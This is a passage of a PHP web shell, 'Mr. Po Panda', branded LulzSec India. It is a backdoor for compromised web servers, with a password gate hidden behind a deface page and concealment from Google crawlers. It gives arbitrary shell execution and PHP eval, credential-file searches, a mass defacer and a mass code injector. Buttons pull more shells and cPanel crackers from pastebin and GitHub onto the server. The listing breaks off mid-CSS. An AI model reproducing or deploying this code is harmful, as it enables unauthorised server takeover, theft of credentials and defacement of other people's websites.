· 9 years ago · Jun 29, 2017, 10:50 AM
1
2<?php
3$auth_pass = "21410bd18c1ce46be4bd060d9635cbaa";
4$color = "white;text-shadow:blue 0px 0px 10px";
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('display_errors',0);
15@ini_set('log_errors',0);
16@ini_set('max_execution_time',0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('VERSION', 'Ver 5.1');
20if( get_magic_quotes_gpc() ) {
21 function stripslashes_array($array) {
22 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
23 }
24 $_POST = stripslashes_array($_POST);
25}
26function printLogin() {
27 echo '
28 <html>
29<head>
30<title>Mr. Po Panda</title>
31<!-- Google Meta -->
32<!-- Coded By Mr. Po panda -->
33<!--
34. /$$ /$$ /$$$$$$
35.| $$ | $$ /$$__ $$
36.| $$ /$$ /$$| $$ /$$$$$$$$| $$ \__/ /$$$$$$ /$$$$$$$
37.| $$ | $$ | $$| $$|____ /$$/| $$$$$$ /$$__ $$ /$$_____/
38.| $$ | $$ | $$| $$ /$$$$/ \____ $$| $$$$$$$$| $$
39.| $$ | $$ | $$| $$ /$$__/ /$$ \ $$| $$_____/| $$
40.| $$$$$$$$| $$$$$$/| $$ /$$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$.$
41.|________/ \______/ |__/|________/ \______/ \_______/ \_______/
42 //Laughing at your security since 2011! -->
43<meta name="description" content="Hacked by LulzSec india" />
44<meta name="keywords" content="Lulzsec india" />
45<meta name="author" content="LulzSec india" />
46<meta name="copyright" content="lulzsec india" />
47<meta name="application-name" content="Deaface" />
48
49</head>
50<body bgcolor="black">
51<style type="text/css">
52 #greets {
53 width: 820px;
54 border-style: outset; }
55 #footer { font-size: 9pt; opacity: .7; }
56 .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; }
57 .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" }
58 .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
59 <center>
60<p align="center"><b><font color="Orange" face="stencil" size="10">Hacked By LulzSec India</b></font></p>
61<p align="center"><b><font color="white" face="stencil" size="6">Did it for india .
62<br/>Your Website is Owned By us <br/></font></p>
63<p align="center"><b><font color="white" face="Times New Roman" size="6"> Security Failed </font></p>
64
65<pre style="color:#56AD15;text-shadow:blue 0px 0px 10px">
66..................................................................
67../$$................./$$............/$$$$$$......................
68.| $$................| $$.........../$$__ $$.....................
69.| $$......./$$ /$$| $$ /$$$$$$$$| $$ \__/../$$$$$$ /$$$$$$$.
70.| $$......| $$ | $$| $$|____ /$$/| $$$$$$../$$__ $$ /$$_____/.
71.| $$......| $$ | $$| $$.../$$$$/..\____ $$| $$$$$$$$| $$.......
72.| $$......| $$ | $$| $$../$$__/../$$ \ $$||$$_____/.| $$.......
73.| $$$$$$$$| $$$$$$/| $$ /$$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$$.
74.|________/.\______/.|__/|________/.\______/..\_______/.\_______/.
75.......................//Laughing at your security since 2011! -->
76
77</pre>
78
79<p align="center"><b><font color="white" face="Times New Roman" size="6"> <small>LulzSec india was here</small> </font></p>
80<pre style="color:white">
81 New Security Comes with New vulnerability
82 - LulzSec india
83</pre>
84<h3 style="color:white"><u>Team Member</u></h3>
85<div id="greets">
86<marquee class="glow" style="color:white";>|Mr. Po Panda | Hexking | Drag00n | Gabber Hexor | Vampi | All indian Hackers |</marquee>
87</div>
88</center>
89</body>
90</html>
91
92 <style>input { margin:5;background-color:#080510;border:none;color:#0000; cursor:arrow; }</style>
93 <center><form method=post><input type=password name=pass></form>
94</body>
95 ';
96 exit;
97}
98if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
99 if( empty( $auth_pass ) ||
100 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
101 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
102 else
103 printLogin();
104if( strtolower( substr(PHP_OS,0,3) ) == "win" )
105 $os = 'win';
106else
107 $os = 'nix';
108$safe_mode = @ini_get('safe_mode');
109$disable_functions = @ini_get('disable_functions');
110$home_cwd = @getcwd();
111if( isset( $_POST['c'] ) )
112 @chdir($_POST['c']);
113$cwd = @getcwd();
114if( $os == 'win') {
115 $home_cwd = str_replace("\\", "/", $home_cwd);
116 $cwd = str_replace("\\", "/", $cwd);
117}
118if( $cwd[strlen($cwd)-1] != '/' )
119 $cwd .= '/';
120if($os == 'win') {
121 $aliases = array(
122 "Mass Deface" => 'for /r "%cd%" %i in (.) do @copy "%cd%\Lulzsec.html" "%i"',
123 "Find index.php in current dir" => "dir /s /w /b index.php",
124 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
125 "Show active connections" => "netstat -an",
126 "Show running services" => "net start",
127 "User accounts" => "net user",
128 "Show computers" => "net view",
129 "ARP Table" => "arp -a",
130 "IP Configuration" => "ipconfig /all"
131 );
132} else {
133 $aliases = array(
134 "List dir" => "ls -la",
135 "list file attributes on a Linux second extended file system" => "lsattr -va",
136 "show opened ports" => "netstat -an | grep -i listen",
137 "Find" => "",
138 "find all suid files" => "find / -type f -perm -04000 -ls",
139 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
140 "find all sgid files" => "find / -type f -perm -02000 -ls",
141 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
142 "find config.inc.php files" => "find / -type f -name config.inc.php",
143 "find config* files" => "find / -type f -name \"config*\"",
144 "find config* files in current dir" => "find . -type f -name \"config*\"",
145 "find all writable folders and files" => "find / -perm -2 -ls",
146 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
147 "find all service.pwd files" => "find / -type f -name service.pwd",
148 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
149 "find all .htpasswd files" => "find / -type f -name .htpasswd",
150 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
151 "find all .bash_history files" => "find / -type f -name .bash_history",
152 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
153 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
154 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
155 "Locate" => "",
156 "locate httpd.conf files" => "locate httpd.conf",
157 "locate vhosts.conf files" => "locate vhosts.conf",
158 "locate proftpd.conf files" => "locate proftpd.conf",
159 "locate psybnc.conf files" => "locate psybnc.conf",
160 "locate my.conf files" => "locate my.conf",
161 "locate admin.php files" =>"locate admin.php",
162 "locate cfg.php files" => "locate cfg.php",
163 "locate conf.php files" => "locate conf.php",
164 "locate config.dat files" => "locate config.dat",
165 "locate config.php files" => "locate config.php",
166 "locate config.inc files" => "locate config.inc",
167 "locate config.inc.php" => "locate config.inc.php",
168 "locate config.default.php files" => "locate config.default.php",
169 "locate config* files " => "locate config",
170 "locate .conf files"=>"locate '.conf'",
171 "locate .pwd files" => "locate '.pwd'",
172 "locate .sql files" => "locate '.sql'",
173 "locate .htpasswd files" => "locate '.htpasswd'",
174 "locate .bash_history files" => "locate '.bash_history'",
175 "locate .mysql_history files" => "locate '.mysql_history'",
176 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
177 "locate backup files" => "locate backup",
178 "locate dump files" => "locate dump",
179 "locate priv files" => "locate priv"
180 );
181}
182function ex($in) {
183 $out = '';
184 if (function_exists('exec')) {
185 @exec($in,$out);
186 $out = @join("\n",$out);
187 } elseif (function_exists('passthru')) {
188 ob_start();
189 @passthru($in);
190 $out = ob_get_clean();
191 } elseif (function_exists('system')) {
192 ob_start();
193 @system($in);
194 $out = ob_get_clean();
195 } elseif (function_exists('shell_exec')) {
196 $out = shell_exec($in);
197 } elseif (is_resource($f = @popen($in,"r"))) {
198 $out = "";
199 while(!@feof($f))
200 $out .= fread($f,1024);
201 pclose($f);
202 }else return " Unable to execute command BC\n";
203 return ($out==''?" Query did not return anything Bro\n":$out);
204}
205function which($p) {
206 $path = ex('which ' . $p);
207 if(!empty($path))
208 return $path;
209 return false;
210}
211function printHeader() {
212 if(empty($_POST['charset']))
213 $_POST['charset'] = "UTF-8";
214 global $color;
215 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Mr. Po Panda '.VERSION.'</title>
216 <style>
217 body {background:url(http://store.picbg.net/pubpic/92/39/36c9def2012c9239.jpg); color:#C3C3C3;}
218 body,td,th { font: 9pt Lucida,Verdana;font-size:13px;margin:0;vertical-align:top; }
219 span,h1,a { color:'.$color.' !important; }
220 span { font-weight: bolder; }
221 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
222 div.content { padding: 5px;margin:0 5px;background: #080510;border-bottom:1px #56A3E9;}
223 a { text-decoration:none; }
224 a:hover { /*background:lime;*/ }
225 .ml1 { border:1px #56A3E9;padding:5px;margin:0;overflow: auto; }
226 .bigarea { width:100%;height:250px;margin-top:5px;}
227 input, textarea, select { margin:0;color:lime;background-color:#080510;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
228 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
229 form { margin:0px; }
230 #toolsTbl { text-align:center; }
231 .toolsInp { width: 80%; }
232 .main th {text-align:left;background-color:#080510;font-weight: bold;}
233 .main tr:hover{background-color:#5e5e5e;}
234 .main td, th{vertical-align:middle;}
235 .menu {background: #080510;}
236 .menu th{padding:5px;font-weight:bold;}
237 .menu th:hover{background:#444;}
238 .l1 {background-color:#080510}
239 pre {font-family:Courier,Monospace;}
240 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
241 .logo {text-align:center;font-size:60px;}
242 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
243 .cpr {margin-bottom:5px;font-weight:bold;}
244 .cpb {width:34px;margin:0 5px;}
245 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
246 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
247 .npoad td {padding:0;}
248 </style>
249 <script>
250 function set(a,c,p1,p2,p3,charset) {
251 if(a != null)document.mf.a.value=a;
252 if(c != null)document.mf.c.value=c;
253 if(p1 != null)document.mf.p1.value=p1;
254 if(p2 != null)document.mf.p2.value=p2;
255 if(p3 != null)document.mf.p3.value=p3;
256 if(charset != null)document.mf.charset.value=charset;
257 }
258 function g(a,c,p1,p2,p3,charset) {
259 set(a,c,p1,p2,p3,charset);
260 document.mf.submit();
261 }
262 function a(a,c,p1,p2,p3,charset) {
263 set(a,c,p1,p2,p3,charset);
264 var params = "ajax=true";
265 for(i=0;i<document.mf.elements.length;i++)
266 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
267 sr("'.$_SERVER['REQUEST_URI'].'", params);
268 }
269 function sr(url, params) {
270 if (window.XMLHttpRequest) {
271 req = new XMLHttpRequest();
272 req.onreadystatechange = processReqChange;
273 req.open("POST", url, true);
274 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
275 req.send(params);
276 }
277 else if (window.ActiveXObject) {
278 req = new ActiveXObject("Microsoft.XMLHTTP");
279 if (req) {
280 req.onreadystatechange = processReqChange;
281 req.open("POST", url, true);
282 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
283 req.send(params);
284 }
285 }
286 }
287 function processReqChange() {
288 if( (req.readyState == 4) )
289 if(req.status == 200) {
290 //alert(req.responseText);
291 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
292 var arr=reg.exec(req.responseText);
293 eval(arr[2].substr(0, arr[1]));
294 }
295 else alert("Request error!");
296 }
297 </script>
298 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:1px;background:#080510;"><div class="content" style="border-top:1px #56A3E9;">
299 <form method=post name=mf style="display:none;">
300 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
301 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
302 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
303 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
304 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
305 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
306 </form>';
307 $freeSpace = @diskfreespace($GLOBALS['cwd']);
308 $totalSpace = @disk_total_space($GLOBALS['cwd']);
309 $totalSpace = $totalSpace?$totalSpace:1;
310 $disable_functions = @ini_get('disable_functions');
311 $release = @php_uname('r');
312 $kernel = @php_uname('s');
313 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
314 if(strpos('Linux', $kernel) !== false)
315 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
316 else
317 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
318 if(!function_exists('posix_getegid')) {
319 $user = @get_current_user();
320 $uid = @getmyuid();
321 $gid = @getmygid();
322 $group = "?";
323 } else {
324 $uid = @posix_getpwuid(@posix_geteuid());
325 $gid = @posix_getgrgid(@posix_getegid());
326 $user = $uid['name'];
327 $uid = $uid['uid'];
328 $group = $gid['name'];
329 $gid = $gid['gid'];
330 }
331 $cwd_links = '';
332 $path = explode("/", $GLOBALS['cwd']);
333 $n=count($path);
334 for($i=0;$i<$n-1;$i++) {
335 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
336 for($j=0;$j<=$i;$j++)
337 $cwd_links .= $path[$j].'/';
338 $cwd_links .= "\")'>".$path[$i]."/</a>";
339 }
340 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
341 $opt_charsets = '';
342 foreach($charsets as $item)
343 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
344 $m = array('<font color="red" />Sec. Info'=>'SecInfo','Files'=>'FilesMan','<font color="red" />Exec'=>'Console','Infect'=>'Infect','<font color="red" />CgiShell'=>'CgiShell','Sh SymShell'=>'symshellsh','<font color="red" />Grab Configs'=>'ConfigGrabber','Safe Mode'=>'Bypass','<font color="red" />Sql'=>'Sql','LFI'=>'lfiscan','<font color="red" />Brute'=>'Bruteforce','CP' => 'CP','<font color="red" />Mass Defacer'=>'Deface','Bypass'=>'Defacer','<font color="red" />String tools'=>'StringTools','Jumping'=>'Jumping','<font color="red" />Injector'=>'Injector','Connect'=>'Network','<font color="red">Port Scanner'=>'PortScanner','R.D.P'=>'rdp','<font color="red" />Domain' => 'Domain','WHMCS' => 'whm','<font color="red" />Import Scripts'=>'ImportScripts');
345 if(!empty($GLOBALS['auth_pass']))
346 $m['Logout'] = 'Logout';
347
348 $menu = '';
349 foreach($m as $k => $v)
350 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
351 $drives = "";
352 if ($GLOBALS['os'] == 'win') {
353 foreach( range('a','z') as $drive ){
354 if (is_dir($drive.':\\'))
355 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
356 }
357 $drives .= '<br />: ';
358
359 }
360 if($GLOBALS['os'] == 'nix') {
361 $dominios = @file_get_contents("/etc/named.conf");
362 if(!$dominios) {
363 $d0c = "CANT READ named.conf";
364 } else {
365 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
366 $out = sizeof(array_unique($out[1]));
367 $d0c = $out." Domains";
368 }
369 } else {
370 $d0c = " --- ";
371 }
372 if($GLOBALS['os'] == 'nix' )
373 {
374 $usefl = ''; $dwnldr = '';
375 if(!@ini_get('safe_mode')) {
376 $temp = array();
377 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
378 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
379 $usefl = implode(', ',$temp);
380 $temp = array();
381 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
382 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
383 $dwnldr = implode(', ',$temp);
384 } else {
385 $usefl = ' ------- '; $dwnldr = ' ------- ';
386 }
387 } else {
388 $usefl = ' ------- '; $dwnldr = ' ------- ';
389 }
390
391 echo '<table class="info" cellpadding="0" cellspacing="0" width="100%" bgcolor="#080510"><tr><td width="160px"><img src="http://i.giphy.com/l2Sq1rpEhjQpZxczK.gif" height="150" width="150"><sup>®</sup></div></td>
392 <td><table cellpadding="0" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).' <a href="' . $explink . '" target=_blank>[exploit-db.com]'.'</nobr></td></tr>
393 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
394 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
395 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
396 '</div></div><div style="margin:1;background #080510;"><div class="content" style="border-top:1px #56A3E9;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'.</tr></table></div></div><div style="margin:2;background:#080510;">'
397 .'<div style="margin:1;background #080510;"><div class="content" style="border-top:1px #56A3E9;padding:2px;">';
398 // menu2 is there but cant set it :(
399 }
400 function actionPhp() {
401 if( isset($_POST['ajax']) ) {
402 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
403 ob_start();
404 eval($_POST['p1']);
405 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
406 echo strlen($temp), "\n", $temp;
407 exit;
408 }
409 printHeader();
410 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
411 echo '<h1>PHP info</h1><div class=content>';
412 ob_start();
413 phpinfo();
414 $tmp = ob_get_clean();
415 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
416 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
417 $tmp = preg_replace('!h1!msiU','h2',$tmp);
418 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
419 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
420 echo $tmp;
421 echo '</div><br>';
422 }
423 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
424 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
425 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
426 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
427 if(!empty($_POST['p1'])) {
428 ob_start();
429 eval($_POST['p1']);
430 echo htmlspecialchars(ob_get_clean());
431 }
432 echo '</pre></div>';
433 printFooter();
434}
435
436
437function download_remote_file($file_url, $save_to)
438 {
439 $content = file_get_contents($file_url);
440
441 file_put_contents($save_to, $content);
442
443 }
444 if (isset($_POST['dhanush'])) {
445 download_remote_file('http://pastebin.com/raw.php?i=U9nqEgRN', realpath("./") . '/dhanush.php');
446 header("location:dhanush.php");
447 echo "<script>alert('Default password and user is Dhanush')</script>";
448
449 }
450 if (isset($_POST['SymlinkbyJama7'])) {
451 download_remote_file('https://raw.githubusercontent.com/mjain61/symlinker/master/symlinker.php', realpath("./") . '/SymlinkbyJama7.php');
452 header("location:SymlinkbyJama7.php");
453
454 }
455 if (isset($_POST['Indoxploit'])) {
456 download_remote_file('https://raw.githubusercontent.com/mjain61/symlinker/master/xploit.php', realpath("./") . '/Indoxploit.php');
457 header("location:Indoxploit.php");
458
459 }
460 if (isset($_POST['SymlinkbyTorjan'])) {
461 download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py');
462 echo "<script>alert('Script is here /sym.py execute it from there.Type in console (Python sym.py)')</script>";
463
464
465 }
466 if (isset($_POST['CpanelCracker'])) {
467 download_remote_file('https://pastebin.com/raw.php?i=RJ7YqGp9', realpath("./") . '/CpanelCracker.php');
468 header("location:CpanelCracker.php");
469
470 }
471 if (isset($_POST['Dblogin'])) {
472 download_remote_file('http://pastebin.com/raw.php?i=Q52G9kjJ', realpath("./") . '/Dblogin.php');
473 header("location:Dblogin.php");
474
475 }
476 if (isset($_POST['Spyus'])) {
477 download_remote_file('https://pastebin.com/raw.php?i=GekZifEs', realpath("./") . '/Spyus.php');
478 header("location:Spyus.php");
479
480 }
481 if (isset($_POST['Injection'])) {
482 download_remote_file('http://pastebin.com/raw.php?i=nxxL8c1f', realpath("./") . '/Injection.php');
483 header("location:Injection.php");
484
485 }
486 if (isset($_POST['ZonehMassPoster'])) {
487 download_remote_file('https://pastebin.com/raw.php?i=WRpGdjGP', realpath("./") . '/ZonehMassPoster.php');
488 header("location:ZonehMassPoster.php");
489
490 }
491 if (isset($_POST['Mini'])) {
492 download_remote_file('https://pastebin.com/raw.php?i=Fpu99hab', realpath("./") . '/Mini.php');
493 header("location:Mini.php");
494
495 }
496 if (isset($_POST['MiniShell'])) {
497 download_remote_file('https://raw.githubusercontent.com/mjain61/mini_shell/master/mini.php', realpath("./") . '/MiniShell.php');
498 header("location:MiniShell.php");
499
500 }
501
502
503
504
505
506
507function actionImportScripts() {
508 printHeader();
509echo '<table border="1px" align="center" id ="Jama7 tools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
510<form action ="" method="post">
511
512 <input type = "submit" name="dhanush" value ="Dhanush Shell"></td></tr>';
513echo '<td><form action ="" method="post"><input type = "submit" name="SymlinkbyJama7" value ="Symlink Script By Jama7"></a></td></tr>';
514echo '<tr><td><form action ="" method="post"><input type = "submit" name="Indoxploit" value ="Indoxploit Shell"></a></td></tr>';
515echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan" value ="Symlink Python Script By Torjan"></a></td></tr>';
516echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelCracker" value ="Cpanel Cracker"></a></td></tr>';
517echo '<tr><td><form action ="" method="post"><input type = "submit" name="Dblogin" value ="Database Login Script"></a></td></tr>';
518echo '<tr><td><form action ="" method="post"><input type = "submit" name="Spyus" value ="Spyus Cpanel Cracker"></a></td></tr>';
519echo '<tr><td><form action ="" method="post"><input type = "submit" name="Injection" value ="Injection Shell"></a></td></tr>';
520echo '<tr><td><form action ="" method="post"><input type = "submit" name="ZonehMassPoster" value ="Zone-h Mass Poster"></a></td></tr>';
521echo '<tr><td><form action ="" method="post"><input type = "submit" name="Mini" value ="Mini Shell BY r00t D3str0yer"></a></td></tr>';
522echo '<tr><td><form action ="" method="post"><input type = "submit" name="MiniShell" value ="Mini Shell BY Jama7"></a></td></tr>';
523
524
525
526
527
528
529 printFooter();
530}
531
532function actionInjector(){
533 printHeader();
534 echo '<center><h1>Mass Code Injector By LulzSec 2016 </h1></center>';
535 echo '<div class="content">';
536
537 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
538 function get_structure($path,$depth) {
539 global $DS;
540 $res = array();
541 if(in_array(0, $depth)) { $res[] = $path; }
542 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
543 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
544 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
545 }
546 if(in_array(2, $depth) or in_array(3, $depth)) {
547 $tmp2 = array();
548 foreach($tmp1 as $t){
549 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
550 $tmp2 = array_merge($tmp2, $tp2);
551 }
552 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
553 }
554 if(in_array(3, $depth)) {
555 $tmp3 = array();
556 foreach($tmp2 as $t){
557 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
558 $tmp3 = array_merge($tmp3, $tp3);
559 }
560 $res = array_merge($res,$tmp3);
561 }
562 return $res;
563 }
564
565 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
566 $name = $_POST['name'] ? $_POST['name'] : '*';
567 $type = $_POST['type'] ? $_POST['type'] : 'html';
568 $path = $_POST['path'] ? $_POST['path'] : getcwd();
569 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
570 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
571 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
572 $dt = get_structure($path,$depth);
573 foreach ($dt as $d) {
574 if($mode == 'a') {
575 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
576 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
577 } else {
578 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
579 }
580 } else {
581 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
582 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
583 } else {
584 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
585 }
586 }
587 }
588 } else {
589 echo '<form method="post" action="">
590 <table align="center">
591 <tr>
592 <td>Directory : </td>
593 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
594 </tr>
595 <tr>
596 <td class="title">Mode : </td>
597 <td>
598 <select style="width: 100px;" name="mode" class="box">
599 <option value="a">Apender</option>
600 <option value="w">Overwriter</option>
601 </select>
602 </td>
603 </tr>
604 <tr>
605 <td class="title">File Name & Type : </td>
606 <td>
607 <input type="text" style="width: 100px;" name="name" value="*"/>
608 <select style="width: 100px;" name="type" class="box">
609 <option value="html">HTML</option>
610 <option value="htm">HTM</option>
611 <option value="php" selected="selected">PHP</option>
612 <option value="asp">ASP</option>
613 <option value="aspx">ASPX</option>
614 <option value="xml">XML</option>
615 <option value="txt">TXT</option>
616 </select></td>
617 </tr>
618 <tr>
619 <td class="title">Code Inject Depth : </td>
620 <td>
621 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
622 <input type="checkbox" name="depth[]" value="1"/> 1
623 <input type="checkbox" name="depth[]" value="2"/> 2
624 <input type="checkbox" name="depth[]" value="3"/> 3
625 </td>
626 </tr>
627 <tr>
628 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
629 </tr>
630 <tr>
631 <td colspan="2" style="text-align: center;">
632 <input type="hidden" name="a" value="Injector">
633 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
634 <input type="hidden" name="p1">
635 <input type="hidden" name="p2">
636 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
637 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
638 </tr>
639 </table>
640 </form>';
641 }
642 echo '</div>';
643 printFooter();
644}
645
646
647function actionCP() {
648
649printHeader();
650
651
652echo "<html>
653<style type='text/css'>
654 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(' ');
655 <style type='text/css'>
656 /* Circle Text Styles */
657 #outerCircleText {
658 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
659 font-style: italic;
660 font-weight: bold;
661 font-family: 'comic sans ms', verdana, arial;
662 color: #FFF;
663 /* End Optional */
664
665 /* Start Required - Do Not Edit */
666 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
667 #outerCircleText div {position: relative;}
